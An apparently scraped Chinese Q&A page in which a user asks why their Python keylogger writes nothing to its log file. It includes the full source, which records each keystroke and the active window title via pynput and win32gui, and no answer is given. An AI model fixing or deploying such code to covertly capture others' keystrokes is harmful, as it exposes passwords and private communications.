问题描述
我在 python 中制作的键盘记录器没有记录我指定的文本文件中的字符。每当我在程序结束后打开它时,它就会将其留空。 代码如下:
import win32gui
from datetime import date
from pynput.keyboard import Listener,Key
filename = "key_log.txt" # The file to write characters to
file = open(filename,'a')
file.write(str(date.today()))
file.close()
def on_press(key):
window = win32gui.GetForegroundWindow()
active_win = win32gui.GetwindowText(window)
f = open(filename,'a') # Open the file
f.write('\n'+active_win)
if hasattr(key,'char'): # Write the character pressed if available
f.write(''+key.char)
else: # If anything else was pressed,write [<key_name>]
f.write('[' + key.name + ']')
f.close() # Close the file
with Listener(on_press=on_press) as listener: # Setup the listener
listener.join() # Join the thread to the main thread
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)